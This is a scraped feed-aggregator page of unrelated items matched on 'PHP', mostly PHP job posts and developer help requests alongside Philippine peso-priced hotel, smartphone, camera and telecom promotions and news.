          F1 Hotel Manila’s Holiday Treats      Cache   Translate Page      
Christmas is just around the corner, and everybody’s looking for a treat. Well, worry no more, because F1 Hotel Manila got you covered. Spend the holidays in a luxurious staycation with an affordable price. Get the hotel’s “A Christmas Treat” Room Package in a Deluxe Room for only Php 6,000 [...]
          Php 7 developer ( Warning Adult Contents)      Cache   Translate Page      
Hi i have my website already built but not working as i want. I will need 11 fixes. Need expert only for ongoing base. Thank you , Xiomi (Budget: $10 - $30 USD, Jobs: HTML, Javascript, MySQL, PHP, Website Design)
          Web development      Cache   Translate Page      
I need a new website. I need you to design and build it. A custom directory platform using PHP script. (Budget: $3000 - $5000 USD, Jobs: Graphic Design, PHP, Website Design)
          PHP issues fixing      Cache   Translate Page      
I have PHP core custom build website. I have a couple of issues to be fixed. - Only can get 200 records on admin panel page - Add products to users are not being added successfully - invoice is not successfully converted to PDF before sending - When I send emails to GMAIL etc.... (Budget: $30 - $250 AUD, Jobs: CSS, HTML, HTML5, MySQL, PHP)
          PHP / WP backend developer      Cache   Translate Page      

Job description You will be part of our PHP development team. Helping out our WordPress team in writing queries and custom scripts. Creating unique WordPress plugins for our customers. You are passionate about web technology and like to take every ...

The post PHP / WP backend developer appeared first on AppSaloon.


          Show HN: Enophp – PHP library for the eno notation language      Cache   Translate Page      
Comments
          cron warning      Cache   Translate Page      
by Chris Nelson.  

I am presently setting up Moodle 3.6 on Server 2012 R2, IIS 8, PHP 7.2 and MariaDB 10.x The install has gone fine and all the plugins are working. I tried setting up the cron job and after it is run when I check the log file it shows the following: I have attached a copy of the cronlog which is created during cron job. (cronlog.pdf)

I have bolded the areas that seem to give  a clue.

From my searches of moodle I need to change the collation type. But which one is the correct one for Moodle 3.6? 

utf8mb4_general_ci or utf8mb4_unicode_ci

Or am I not reading the error correctly? thanks



          Comment on obfuscating PHP code by Anne Roberts      Cache   Translate Page      
Thanks for sharing a good post on PHP.
          PHP & Node.js Developer - smconsultant - Kukatpally, Hyderabad, Telangana      Cache   Translate Page      
Having knowledge on Amazon AWS and Google Cloud platform is an added advantage. We’re looking for an energetic and enthusiastic Developers PHP, Node.js to join... ₹1,80,000 - ₹2,30,000 a year
From Indeed - Sat, 29 Sep 2018 08:43:22 GMT - View all Kukatpally, Hyderabad, Telangana jobs
          Full Stack Engineer - Java/OOPS - IIT/NIT/BITS (2-4 yrs) Bangalore (Systems/Product Software)      Cache   Translate Page      
Bangalore, Karnataka - access platform that lets the right people come in any premise. Our stack is built primarily in Java, PHP and MySql. Candidates from IIT / NIT...
          require a AVAYA Exchange PHP Scripts      Cache   Translate Page      
required a AVAYA Call Exchange PHP scripts for SIP, call recording, call records and so on ... along with DB (Budget: $30 - $250 USD, Jobs: Asterisk PBX, Linux, MySQL, PHP, VoIP)
          Comment on PHP 5.6: “Automatically populating $HTTP_RAW_POST_DATA is deprecated and will be removed in a future version.” by php开发过程中不怎么常见的问题 – 1      Cache   Translate Page      
[…] 改一下自己的提交方式, 使用 application/form-data或者application/x-www-form-urlencoded这种格式的提交, 然后在后端接收数据的时候再转成自己需要的格式(通常是数组)参考资料 […]
          Smd Led High Intensity (Ekeby)      Cache   Translate Page      
Note, that the outside power supply need to have a fuse or present limiter. The microcontroller manages all functions of tool, creates the whole algorithm to manage the 3157 led switchback canbus ([www.cn360led.com](http://www.cn360led.com/product/3157-Switchback-Led-Bulb.php "www.cn360led.com")) matrix. SylvaniaSide Pen Light Mini Light Bulb 3057LL - Read 1. GE 3057 27w S8 12v Automotive Mini Light. The decoder obtained a demodulated digital signal from IR receiver TSOP1736.
          PHP Server Monitor 3.3.1 Cross Site Request Forgery      Cache   Translate Page      
PHP Server Monitor version 3.3.1 suffers from a cross site request forgery vulnerability. - Source: packetstormsecurity.com
          SPHP Registration Associate FT - Various Cap District Location      Cache   Translate Page      
NY-Troy, Title: Registration Associate - Float - Full Time Grade: 118 Location: This is a "float" position to work at practices within the Troy, Albany, and Clifton Park area *TRAVEL REQUIRED* Hours: 8:00 AM - 4:30 PM Summary: The Registration Associate provides clerical, communication, reception, supply management and other supportive services to ensure high quality service to patients, family members and
          PHP cURL и кодировка      Cache   Translate Page      
Надо бы и что-то о программировании опубликовать. Например, как решить проблему с кодировкой, загружаемых через cURL, веб-страниц. Не самая тривиальная задача. Особенно если используешь PHP.
          Site hacket med PHP shell: 265.000 kodeord er blevet lækket fra Minecraft-relateret forum      Cache   Translate Page      
En sårbarhed i open source-softwaren Mediawiki har tilsyneladende hjulpet en hacker med at stjæle data fra over en kvart million Technic-brugere.
          Purchase Of Uniform To Be Used For The Elementary & Secondary      Cache   Translate Page      
Purchase Of Uniform To Be Used For The Elementary & Secondary
200201811045
Implementing Rules and Regulations
Shopping

Description
REQUEST FOR QUOTATION



The Local Government of San Mateo, through its Bids and Awards Committee (BAC), invites suppliers, manufacturers, distributors, contractors registered with the BAC in the Local Government of San Mateo, to apply for eligibility and if found eligible, to bid for the hereunder listed project.

Project Reference No.: 200201811045
Project Name: Purchase of uniform to be used for the elementary & secondary
Approved Budget for the Contract (ABC): Php 51,600.00
Starting Date::December 3, 2018
Finish Date:December 5, 2018



          Міжнародна IT-компанія шукає програмістів      Cache   Translate Page      
Друзі, розшукується Middle Front-End Developer.

З особливостей позиції:
+ Хороше знання нативного JavaScript + React/Vue/Angular
+ Вміння генерувати, парсити, рендрити JSON, CSV, XML
+ Позитивний досвід роботи з інтерфейсами REST/SOAP
+ Навички Git / альт. CVS

Проекти не складні. Досвід з VueX - великий плюс.
Розуміння, як працює PHP - супер плюс.

Про себе. В ІТ 8 років.Працюємо з ЄС, США. Бренд відсутній. Нетворкінг - наше все. Замовлення регулярні. Релокейт в США - можливий виключно після 6/9 місяців роботи з командою в Україні.

Для запису на співбесіду телефонуйте за номером: 0990359350.
          Programador Junior PHP, PRESTASHOP - Indes Software - Alcorcón, Madrid, España      Cache   Translate Page      
Indes Software, precisa incorporar al equipo de profesionales de su cliente un Programador con experiencia mínima de 1 año en desarrollo con las siguientes tecnologías, para entrar a formar parte de su Software Factory. Tareas: Programación. Labores de documentación. Solución de incidencias. Requisitos: conocimientos de programación en PHP y experiencia en desarrollos con el CMS Prestashop. Conocimientos en HTML5, CSS3 y Jquery. Valorables: Aportar conocimientos en...
          Ingénieur d'Etudes et Développement PHP (H/F) - Infotel - Lyon - Ecully      Cache   Translate Page      
Environnement Votre suivi: Dans une ambiance alliant travail et convivialité, votre manager, votre chef de projet et votre chargé de recrutement vous suivront tout au long de votre carrière chez Infotel et encadreront votre progression au sein du Groupe. Votre évolution: Votre potentiel, votre dynamisme, votre sérieux et votre implication vous permettront d'évoluer régulièrement au sein d'Infotel. Missions Dans le cadre de la croissance de nos activités,...
          PHP expert needed -- 2      Cache   Translate Page      
Hi Need to fix the PHP code then we will discuss on chat about mining process. Thank you. (Budget: $10 - $30 USD, Jobs: Bitcoin, HTML, Javascript, PHP, Software Architecture)
          Need PHP expert with API knowledge      Cache   Translate Page      
Hello all ! We are in need of an individual / team who can perform critical tasks based on Laravel / WordPress coding. API knowledge is much needed as well as basic knowledge on Bulk SMS and Email marketing... (Budget: $250 - $750 USD, Jobs: Laravel, MySQL, PHP, Web API, WordPress)
          CSR - Japanese Speaker/Translator - Chenvel Services Inc. - Valenzuela      Cache   Translate Page      
Are you looking for a job? Japanese proficient? Then you’re the one we are looking for! Chenvel Services Inc. is now hiring CSR – Japanese speaker/translator... PHP 13,000 - PHP 15,000 a month
From Indeed - Wed, 14 Nov 2018 03:56:58 GMT - View all Valenzuela jobs
          URGENT! Financial Solutions Associate (Navotas) - AXA Philippines - Navotas      Cache   Translate Page      
*Join the Top Global Insurance Brand!* AXA's *FINANCIAL SOLUTIONS ASSOCIATES* are confident, optimistic, reliable, and driven individuals who enjoy a career... PHP 18,000 - PHP 23,000 a month
From Indeed - Mon, 19 Nov 2018 07:16:53 GMT - View all Navotas jobs
          URGENT! Financial Solutions Associate (Malabon) - AXA Philippines - Malabon      Cache   Translate Page      
*Join the Top Global Insurance Brand!* AXA's *FINANCIAL SOLUTIONS ASSOCIATES* are confident, optimistic, reliable, and driven individuals who enjoy a career... PHP 18,000 - PHP 23,000 a month
From Indeed - Mon, 19 Nov 2018 07:18:26 GMT - View all Malabon jobs
          WordPress iPage PHP 7.1 White Page Error      Cache   Translate Page      

Replies: 0

Hi,
Newbie here, trying to build my website,
Everything worked great with the free Elementor plugin, iPage hosting and PHP 5.6 and extended maximum PHP memory possible…

However i ordered Elementor Pro and a white page occurred within the building process.
After reading posts, i have upgraded to PHP 7.1 and now i have nothing. Not even the wordpress dashboard. With this indication on my website:

Internal Server Error

The server encountered an internal error or misconfiguration and was unable to complete your request.
Please contact the server administrator, and inform them of the time the error occurred, and anything you might have done that may have caused the error.
More information about this error may be available in the server error log.

I have checked all the requirement necessary here and i have everything right!
https://docs.elementor.com/article/38-requirements

So i am stuck!
Thank you very much for your help
Marc


          PHP’s FTP functionality and delete all files older      Cache   Translate Page      
I just wrote a PHP Script which should connect to FTP and FTP files auto delete older than 7 or X da
          Développer un site web en PHP, MySQL et JavaScript jQuery, CSS3 et HTML5      Cache   Translate Page      

45€

Manuel (broché)

Développer un site web en PHP, MySQL et JavaScript jQuery, CSS3 et HTML5


Robin Nixon

Bestseller sur Amazon.fr durant 18 mois, l’édition précédente se classe encore parmi le top 5! Cette 5e édition retient les qualités qui en ont fait un immense succès et apporte des nouveautés intéressantes telles que Web Apps et Mobile. Profitez des centaines de codes sources gratuits en ligne sur le site de l’éditeur  pour construire des sites web interactifs, axés sur les données avec la puissante combinaison des technologies en source ouverte et des normes du Web, même si vous n’avez que des connaissances de base du HTML. Avec ce guide en mains, vous abordez la programmation web dynamique à l’aide des technologies de base d’aujourd’hui. Quelques-unes des nouveautés…..   Quelques-unes des nombreuses nouveautés de cette 5e édition - Évolutions apportées par HTML 5.1 au HTML5, ainsi que celles de PHP 5.5 et ultérieur. - Utilisation du serveur Ampps au lieu de XAMP, pour simplifier considérablement la phase de préparation d’une pile de serveurs de développement. - Toujours plus de sécurité : 1. Avec la fonction de salage et de hachage intégrée à PHP 5.5 et ultérieur. 2. Sans compter les multiples fonctions réutilisables de nettoyage des entrées des utilisateurs, réactualisées. 3.Choix pour le protocole TLS (Transport layer security) au lieu de SSL. - Adaptation aux nouvelles habitudes des internautes de désactiver les cookies et JavaScript. - Nouveau chapitre traitant de la gestion transparente des appareils portatifs, dits « mobiles », avec jQuery Mobile. - Mises à jour, telles la suppression des microdonnées utilisées auparavant par les moteurs de recherche, et désormais abandonnées. Également d’autres options proposées suite au changement de politique d’accès aux API de Google. - Remarques bien ciblées à propos des contraintes imposées par la protection de la vie privée, notamment au niveau de la géolocalisation et du stockage de données personnelles



          ipking/manomano-php (1.0.1)      Cache   Translate Page      
ManoMano PHP API.
          PHP l'essentiel      Cache   Translate Page      

12,50€

Manuel (broché)

PHP l'essentiel


Davey Shafik

          o-log/php-model (8.16)      Cache   Translate Page      
Fast PHP ORM with caching.
          tanghengzhi/php-simple-html-dom-parser (1.0.0)      Cache   Translate Page      
Yet another copy of the PHP Simple HTML DOM Parser project.
          ipking/wework-php (1.0.0)      Cache   Translate Page      
企业微信 PHP API.
          rick20/ppob (0.1.1)      Cache   Translate Page      
PPOB Multi Pulsa API PHP Library.
           Comment on Good News for Sharks by Meanwhile       Cache   Translate Page      
"Set your teeth on EDGE: World's weirdest sharks and rays on the brink of extinction : From guitarfish to angel sharks the EDGE of Existence highlights the most ancient fish sinking into extinction" (Zoological Society of London) https://www.eurekalert.org/pub_releases/2018-12/zsol-sy113018.php Sharks that use a whip-like tail to stun their prey, rays with saws on their faces, and river rays half the length of a bus are among the most unique species at risk of extinction according to the latest ranking from international conservation charity ZSL's (Zoological Society of London) pioneering EDGE of Existence programme. The new list revealed today (4 December) ranks the world's 50 most Evolutionarily Distinct and Globally Endangered (EDGE) sharks, rays and chimeras - known collectively as Chondrichthyes.
          Magento 2 function mcrypt_module_open() is deprecated      Cache   Translate Page      
Function mcrypt_module_open() is deprecated from PHP version 7.1. If you are using PHP 7.1 or higher for your Magento 2 website then you might face this error. NOTE: This error is already solved by Magento in 2.2 and higher version. Solution: Add @ sign before all below functions. - mcrypt_module_open - mcrypt_enc_get_key_size - mcrypt_enc_get_iv_size - […]
          Installing WordPress on WAMP localhost      Cache   Translate Page      

Hi,

I’ve just taken over admin of a web site running on WordPress. I have 2 questions.

1. The site has no dev area and I want to setup WordPress on my localhost running under WAMP server.
I have downloaded WordPress, unzipped the file and followed the installation instructions and I get the error “PHP is not running”. Creating the wp-config.php file made no difference.
I have checked WAMP and all appears to be OK. I am running PHP 5.6.25 and MySQL 5.7.14.
I have read numerous posts on this forum and it appears to be as issue. How do I get around it.
I need to reset the access levels on the site and don’t want to do that in production just yet.

2. The website is backed up to a Dropbox account. The backup is created using UpdraftPlus and wish to use the file stored in Dropbox. How do I Restore the file to my localhost?

Thank you for your guidance.


          Malaybalay City Fire Station gets new uniforms      Cache   Translate Page      

Reading Time: 1 minute The Malaybalay City Fire Station recently received new sets of Personal Protective Equipment (PPE). A total of 24 sets of protective uniform were given and the amount totaled to Php […]

The post Malaybalay City Fire Station gets new uniforms appeared first on Bukidnon Online Blog.


          Cherry Mobile announces Christmas promo, save up to 25 percent on smartphones!      Cache   Translate Page      
Cherry Mobile just announced its Christmas promo of 2018, the Christmasayang Regalo Sale.
Cherry Mobile announces Christmas promo, save up to 25 percent on smartphones!
Smartphones on sale

Christmasayang Regalo Sale

The smartphones that will be on sale are the Flare S6 Mini, Flare J3s, and Flare S7 Prime.
Flare S6 Mini
Flare S6 Mini

The Cherry Mobile Flare S6 Mini will be on sale from PHP 1,999 to PHP 1,699 which is equivalent to PHP 300 of savings. It is a budget Android device with 4.5-inch screen, quad-core processor, expandable 4GB storage, and Android Marshmallow OS. It'll come in black, gold, grey, red, and mocha color options.
Flare J3s
Flare J3s

The Cherry Mobile Flare J3s will be on sale from PHP 2,999 to PHP 2,499. It comes with a 5.3-inch TrueView 18:9 screen, 2,000mAh battery, 8MP main camera, 5MP selfie camera, and the lightweight Android (Go edition) OS.
Flare S7 Prime
Flare S7 Prime


The Cherry Mobile Flare S7 Prime will be on sale from PHP 3,999 to PHP 2,999. It features a 5.5-inch HD+ TrueView 18:9 screen, fingerprint sanner, and Android Oreo (Go edition) OS. It comes in red, gold, and purple colors.

The sale will run from December 8 to December 16, 2018 nationwide. Cherry Mobile will out select Android smartphones on sale with up to 25 percent of savings.

Aside from the sale, you may also get a chance to win at Cherry Mobile's Wish Upon A Cherry Promo for every purchase of any Cherry Mobile smartphone.

For more info, check the website of Cherry Mobile here.

          Holiday Gift Guide 2018: Cameras for everyone this Christmas!      Cache   Translate Page      
The special moments in life this holiday season deserve to be recorded in the best possible way and what better way than to get 2018's best cameras?
Holiday Gift Guide 2018: Cameras for everyone this Christmas!
Christmas camera guide

From point and shoot cameras to action cameras. From amateurs to semi-professionals, we list 10 of the best cameras for each category that is available for purchase in the Philippines. This means that this list is composed of cameras that have official distribution and warranty in the Philippines.

Lets check them out!

Cameras for everyone this Christmas!

SJCAM SJ5000X
SJCAM SJ5000X

1. Budget Action Camera - SJCAM SJ 5000X Elite costs PHP 5,599 and gives you up to 4K footage at 30 frames per second. It can shoot 12 MP stills with an ultra wide 170 degree angle field of view to make sure you get as much of the scene as possible. It has a 2-inch LCD display and it supports a gyroscope digital stabilization sensor for smooth footage. Lastly, the housing is waterproof up to 98 feet or 30 meters.
GoPro Hero 7 Black Edition
GoPro Hero 7 Black Edition

2. Best Action Camera - GoPro Hero 7 Black costs PHP 24,690. It records 4K up to 60 fps, 2.7K at up to 120 fps and 1080p at 240fps. It also takes 12MP RAW stills photos. The new HyperSmooth Video Stabilization allows for smooth gimbal like footage. The body by itself (without waterproof housing) is waterproof of up to 30 feet or 10 meters. At the back is a 2-inch LCD. Lastly, it supports voice controls for when you can't reach the remote or the camera itself.
DJI Pocket
DJI Pocket

3. Portable Gimbal Stabilized Camera - DJI Pocket at PHP 23,200. It was just announced recently but it is a unique 1/2.3-inch sensor camera that can shoot 4K 60fps at 100 Mbps with 140 minutes of run time! It can take single shot and panorama stills. There is also a shoots time lapses and motion lapses. For people who are always on the go and want unbeatable gimbal smooth footage. It will be available later in December 2018. It is now available for pre-order at authorized DJI retailers nationwide.
Sony RX100 IV
Sony RX100 IV

4. Premium Compact/Travel Point and Shoot - Sony RX100 series. Prices are the following: The Mark IV PHP 49,999; Mark V-A PHP 65,550. The RX100 series has been lauded as the best point and shoot camera for several years now with each year a new model is released with minor changes. It uses a Sony's 1-inch sensor with High quality Zeiss lenses that allows of high resolution stills and stunning 4K video. The latest is the Mk VI with the longer zoom range but we think the Mark IV and Mark V are a better value even though the range is shorter at 24 to 70. It fits in your pocket and it has a view finder. What's not to love?
Canon EOS M50
Canon EOS M50

5. Best Vlogging Camera - Canon EOS M50 starts at PHP 38,999 for the body only. It is equipped with an APS-C sized sensor with Canon's Dual Pixel Autofocus that has been lauded as the best in the industry. It detects the subject and is able to track it seamlessly which makes it perfect for vlogging. It even has a microphone jack if you want to plug in an external microphone for better audio. Lastly, it has a fully articulating touch display which means you can flip the display to face you so you can make sure you can compose yourself better when filming yourself.

Also, if you decide to get one from Henry's Professional camera, you can get a Rode Microphone and Enovation Flexible tripod.
Fujifilm X-T3
Fujifilm X-T3

6. Best all-around APS-C Mirrorless Camera - Fujifilm X-T3. The body starts at PHP 86,990. Fujifilm has been known in recent years for producing cameras with an APS-C sensor that can rival full-frame and for producing a long list of lenses dedicated for their APS-C line that allows for a relatively smaller but competitive set-up. The X-T3 builds on the great stills capability of the X-T2 while improving its autofocus and video capabilities significantly. The result is the best all around APS-C camera.
Sony A7 III
Sony A7 III

7. Best Full-Frame mirrorless: Sony A7III. The body starts at PHP 132,999. The A7III was game changing when it was released because it challenged what a USD 1999 camera should be. It brought Full-Frame to a more affordable price point while improving the image quality of stills and video from the previous generation. It also inherited the autofocus system from the more expensive A7RIII and is now the standard for Eye-detect/Face detect autofocus in the Full-Frame autofocus performance.
DJI Spark
DJI Spark

8. Best Consumer Drone with Camera: DJI Spark. Standard edition costs: PHP 24,400, while the Fly more combo PHP 33,500. The DJI Spark comes at a relatively affordable price point with features like gesture controls and TapFly control which makes it easier for anybody to pilot it. It comes with a 12MP shooter with two-axis image stabilisation, subject tracking, and GPS and vision based navigation. It is the everyman's drone!
DJI Mavic 2 Zoom
DJI Mavic 2 Zoom

9. Best Pro-sumer Drone with Camera - DJI Mavic 2 Zoom starts at PHP 76,300. It features a 12MP 1/2.3-inch sensor with a 24-48mm optical zoom that allows for the iconic Dolly zoom feature. It can also take a super high resolution 48MP image and can fly for as long as 31 minutes! Lastly, it features the latest version of DJI's Ominidirectional Obstacle Sensing and OccuSync 2.0 Transmission Technology which makes it the easiest Mavic to Fly yet. It flies at a maximum speed of 44.7 miles per hour. We highly recommend getting the Fly More kit for PHP 23,000.
Huawei Mate 20 Pro's triple Leica lens
Huawei Mate 20 Pro's triple Leica lens

10. Best Smartphone Camera - Huawei Mate 20 Pro with triple Leica camera system will cost you PHP 49,999. The Mate 20 Pro offers more features than any other flagship phone in the market today and it even has one of the best cameras on the market. It has a triple camera set up with an ultra wide lens, standard wide and a telephoto lens which all take great photos for a smartphone and when used with Huawei's AI, it can take super smooth video footage, it can take 10x digital zoom images and it can even take up to 6 seconds of long exposure images with the Night mode.

What do you guys think? Do you agree with us? Will you be getting any of the cameras on this list? 

Remember all these cameras are available in the Philippines.

          Smart installed more than 5,600 4G LTE base stations in 1 year!      Cache   Translate Page      
PLDT’s wireless arm Smart Communications is on course to hit its target of covering 90 percent of cities and municipalities in the Philippines with LTE-powered mobile data services. 
Smart installed more than 5,600 4G LTE base stations in 1 year!
Smart 4G cell site

More cell sites than ever

The unit said recently it ramped up the deployment of LTE sites to provide enhanced services to the group's mobile subscribers. 

Smart, as of end-September, was able to power more than 5,600 base stations with LTE,  raising the total number of its LTE sites to over 14,300.
Video experience data in the Philippines
Video experience data in the Philippines

Given this, Smart was awarded by London-based mobile analytics company OpenSignal for providing best video experience in the country, beating its rival Globe Telecom.

In a separate report, covering the months of May to July, OpenSignal said the PLDT unit also offered faster LTE download speeds with 13.02 megabits per second (Mbps), ahead of its competitor’s 7.34 Mbps.

This back-to-back series of recognitions confirms that just as we intended, our network transformation initiatives have greatly improved the quality of experience of our customers, particularly for mobile video, said Mario G. Tamayo, PLDT-Smart Senior Vice President for Network Planning and Engineering.

For this year alone, PLDT allotted PHP 58 billion to finance its network upgrade. But as demands continue to grow, PLDT Chief Manuel V. Pangilinan said the group may increase its spending for 2019 to aggressively finance 3G/4G/5G rollout next year.

Do you experience faster mobile internet now in your areas?

Let us know in the comments!

          Here are the innovations showcased at DOST-SEI and Acer's IMAKE.WEMAKE 2018       Cache   Translate Page      
On the third installment of the Department of Science and Technology Science Education Institute (DOST-SEI) and Acer's IMAKE.WEMAKE project, senior high school students showcased different technological solutions to the country's current society problems.
Acer's IMAKE.WEMAKE winners
Acer's IMAKE.WEMAKE winners

In case you didn't know, DOST-SEI have kicked-off the IMAKE.WEMAKE project last 2016. It has then served as a platform towards unleashing the creativity of young Filipinos to enable them to discover their potentials and learn the process of using innovation to achieve a particular purpose that will benefit their community of interest. 

Some of the innovations presented at this year's IMAKE.WEMAKE project were a more specific weather report through smaller-scale forecast, smoother flow of traffic through elimination of felon vehicles, a more responsive food provider through exigent report of scarcity, etc. 

For this year, the IMAKE.WEMAKE project have made an upgrade with the first Internet-of-Things (IoT) toolkit, the Acer CloudProfessor. DOST-SEI have partnered with Acer Philippines to aid on the students' need to incorporate IoT in their creations through simplified coding and programming. 
College of St. John - Roxas IMAKE.WEMAKE project
College of St. John - Roxas IMAKE.WEMAKE project

There were a total of 65 teams but only 16 advanced to the finals. These finalists were able to be part of Acer's 5-day FREE training and pitching programs. The contestants were given hands-on training on the Arduino digital and analog system and Acer CloudProfessor to power their projects.

Among the 16 finalists, Technological Institute of the Philippines, Philippine Science High School - Eastern Visayas Campus (PSHS-EVC), and New Era University were awarded with Youth Innovation Prize award for having the most outstanding projects along with PHP 50,000 cash prize each team. Meanwhile College of St. John - Roxas, was given the special Acer IoT Excellence Award for their innovation project.

DOST-SEI have shared that in the IMAKE.WEMAKE 2019, the cash prize will be doubled up to PHP 100,000! 

We are excited to see next year's innovations from the young minds of our senior high school students.

What do you think guys?

          Logitech M238 MARVEL Wireless Collection, now available for only PHP 1,190      Cache   Translate Page      
Logitech has recently announced their latest line of mouse accessory, the MARVEL Wireless Collection.
Logitech M238 MARVEL Wireless Collection, now available for only PHP 1,190
Logitech M238 MARVEL Wireless Collection

MARVEL super heroes inspired wireless mouse

The 2018 Logitech M238 MARVEL Wireless Collection will be available in the following super heroes: Captain America, Iron Man, Black Panther, or Spider-Man. The M238 Mouse is compatible with Microsoft Windows, Mac, Chrome OS, and Linux. 

The nano USB receiver lets users to roam from up to 33 feet away. It also boasts of a 12-month life in just a single, pre-installed battery. 
MARVEL wireless mouse, anyone?
MARVEL wireless mouse, anyone?

With the Logitech MARVEL Collection, we set out to have some fun and design a collection that all fans could relate to, said Jarmine Borja, PH Country Manager. Now everyone can add personality to their desk and become the at-work embodiment of their favorite MARVEL Super Hero.

Pricing and availability

Logitech M238 MARVEL Wireless Collection is now available for only PHP 1,190 nationwide.

Will you be getting one?

          Mineski Infinity announces Shopee code for the 12.12 Big Christmas Sale      Cache   Translate Page      
Shopee and Mineski Infinity partnered for the 12.12 Big Christmas sale from November 26 to December 12, 2018.
Mineski Infinity announces Shopee code for the 12.12 Big Christmas Sale
Shopee X Mineski Infinity

Shopee launched a specific Mineski Infinity voucher code that can get you PHP 100 off on your next purchase.

You only have to use the code "MINESKI1212" on the official Shopee app.

The minimum purchase requirement will be PHP 500. Only 2000 shoppers can use the code daily as well.
The Shopee 12.12 Big Christmas Sale is on going
The Shopee 12.12 Big Christmas Sale is on going

The Shopee 12.12 Big Christmas Sale include up to 99 percent of discounts on leading brands like P&G, Maybelline, Vivo, SM Store, Silverworks and Smart. There are also special daily free shipping promotions and flash sales that can bring prices on select items down to just PHP 12. Lastly, Shopee is also giving out over 12 million Shopee coins during the promo period.
Discounts, flash sales, free shipping and Shopee coins are up for grabs
Discounts, flash sales, free shipping and Shopee coins are up for grabs

The Shopee 12.12 Big Christmas Sale can be checked out through Shopee's official website as well.

You can also download the Shopee for FREE from the Google Play Store for Android and App Store for iOS.

What do you guys think? Have you done your holiday shopping?

          PLDT eyes higher capex for 2019 to aggressively finance 5G rollout!      Cache   Translate Page      
PLDT Inc. may raise its capital expenditures (capex) for 2019 to finance the aggressive rollout of its wireless services and fifth generation (5G) network, its chief said.
PLDT eyes higher capex for 2019 to aggressively finance 5G rollout!
Smart 5G in Clark

To aggressively finance 5G rollout!

Manuel V. Pangilinan, PLDT chair and chief executive officer, told reporters last week the group’s capex may be "elevated," higher than the PHP 58 billion set for this year.

Wireless is still a significant portion, especially now that we’re going to spend. So, we’re expanding some 3G, a lot of 4G sites and then beginning to build out the 5G. 

Pangilinan was optimistic for PLDT's wireless and home business segments as they continue to post promising growth in the market.

Related: Smart successfully made the first 5G video call in the Philippines

For 2019, the telco giant is set to boost its Home and Enterprise portfolio as the segments would be the first to experience PLDT’s 5G technology. 

While there are no available 5G-compatible devices in the market yet, Pangilinan expects the handsets to be available by late of next year. 

The Pangilinan-led group as well as its rival Globe Telecom will be welcoming a new competitor in 2019 as the National Telecommunications Commission (NTC) declared Mislatel, a consortium composed of China Telecommunications, Udenna Corp., and Chelsea Logistics Corp., as the third telco player. 

We hope PLDT’s higher spending can really improve the country’s telco services.

What do you think of this news?

Source: PNA

          How to get the Realme C1 cheaper at Lazada on December 5      Cache   Translate Page      
On December 5 12NN, the new Realme C1 will be available on a flash sale for just PHP 5,490 instead of the PHP 5,990 price tag.
How to get the Realme C1 cheaper at Lazada on December 5
Realme C1!

It a great deal for the specs right? But, did you know that you can even get it for even less.

Have a look at these tips and tricks on how you can score a brand new Realme C1 at Lazada on December 5 12NN for much less.

How to get the Realme C1 cheaper at Lazada

Lazada Wallet
Lazada Wallet

1. Avail the Lazada Wallet 12 percent Bonus when you load in your Lazada Wallet then use the code LAZWALLET12 to get extra 12 percent. Total savings is PHP 360. Check this link out.
BDO Visa code
BDO Visa code

2. Use the code "BDOVISA300" for a PHP 300 discount for a minimum spend of PHP 3,000. It is available for 1 time use until December 12 only.
JCB code
JCB code

3. USE the "JCBGET30" code for a minumum spend of PHP 2,000 to get PHP 800 off! The Realme C1 will be priced at just PHP 4,690 if you will use it.
GCash code
GCash code

4. Pay via GCash on Lazada to get PHP 10 percent discount capped at PHP 100. Use the "GCASH10" code.
BDO debit code
BDO debit code


5. Get PHP 12 percent off capped at PHP 200 when you use your BDO MasterCard Debit using the "BDOMCDEBIT" code.
Robinsons Bank code
Robinsons Bank code

6. Use the "RBANK400" code with your Robinsons Bank Credit Card for 15 percent or up to PHP 400 discount. If you will use it, you can get the Realme C1 for just PHP 5,090.

To know more about the Realme C1, check our unboxing and impressions article here.

That's it! Are you excited to own the new Realme C1?

          Sale Alert: Vivo Y95 is down to PHP 12,999      Cache   Translate Page      
Vivo's new Y95 with a 6.22-inch screen, halo notch, 12nm Snapdragon 439 chipset, 4GB RAM, 64GB storage, 4,000mAh battery, 13MP + 2MP dual-camera, and 20MP f/2.0 selfie camera is now more affordable than ever.
Sale Alert: Vivo Y95 is down to PHP 12,999
Vivo Y95

Now more affordable

From PHP 13,999, the Y95 is now PHP 1K cheaper. Starting today December 4, 2018, it is now priced at just PHP 12,999.
Y95 AnTuTu score
Y95 AnTuTu score

The new price tag of the Y95 made it slightly more attractive than ever. This smartphone should be good for those who need a phone with stylish looks, big screen with small notch, long battery life, and capable cameras.

Vivo Y95 Specs

Display: 6.22-inch 2.5D curved IPS screen w/ HD+ 1520 x 720 resolution at 270 ppi
CPU: 1.9GHz 64-bit Snapdragon 439 octa-core processor
GPU: Adreno 505
RAM: 4GB
ROM: 64GB expandable via microSD card slot
Back Camera: 13MP f/2.2 + 2MP w/ PDAF and LED flash
Selfie Camera: 20MP f/2.0 w/ AI face beauty and screen flash
Battery: 4,030mAh
OS: Android 8.1 Oreo w/ Funtouch OS 4.5
Connectivity: WiFi, 700MHz 4G LTE, Bluetooth, OTG, FM Radio, GPS, GLONASS, BeiDuo, Dual SIM
Sensors: Accelerometer, light, orientation, proximity, gyroscope, magnetic, sound
Others: Fingerprint sensor, face unlock, Colors: starry black, aurora red
Dimensions: 155.11 x 8.28 x 75.09 mm
Weight: 163 g
Price: PHP 13,999 (PHP 12,999 sale price)

To know more about the new Vivo Y95, you may read our unboxing and impressions article here.

          Sale Alert: Cloudfone Next Infinity Pro 20MP + 8MP selfie dual-camera is down to PHP 6,999!      Cache   Translate Page      
Cloudfone has a treat to its customers this Christmas. The local smartphone maker dropped the price of the Next Infinity Pro!
Sale Alert: Cloudfone Next Infinity Pro 20MP + 8MP selfie dual-camera is down to PHP 6,999!
Cloudfone Next Infinity Pro

Quick recap

To refresh our minds, the Cloudfone Next Infinity Pro is the company's affordable selfie-centric machine. It highlights a 20MP + 8MP selfie dual-camera setup with face beauty, portrait mode, wide-angle, and softlight LED flash.

On the main camera, it has a 16MP shooter with PDAF focus and portrait mode.

The rest of the specs include a 5.7-inch HD+ screen, Snapdragon 430 SoC, 3GB RAM, 32GB storage, 3,000mAh battery, Quick Charge 3.0 tech, fingerprint scanner at the back, and 700MHz 4G LTE.

Cloudfone Next Infinity Pro Specs

Display: 5.7-inch 2.5D curved IPS screen with HD+ 1440 x 720 resolution at 282 ppi
CPU: 1.4GHz 64-bit Snapdragon 430 octa-core processor 
GPU: Adreno 505
RAM: 3GB 
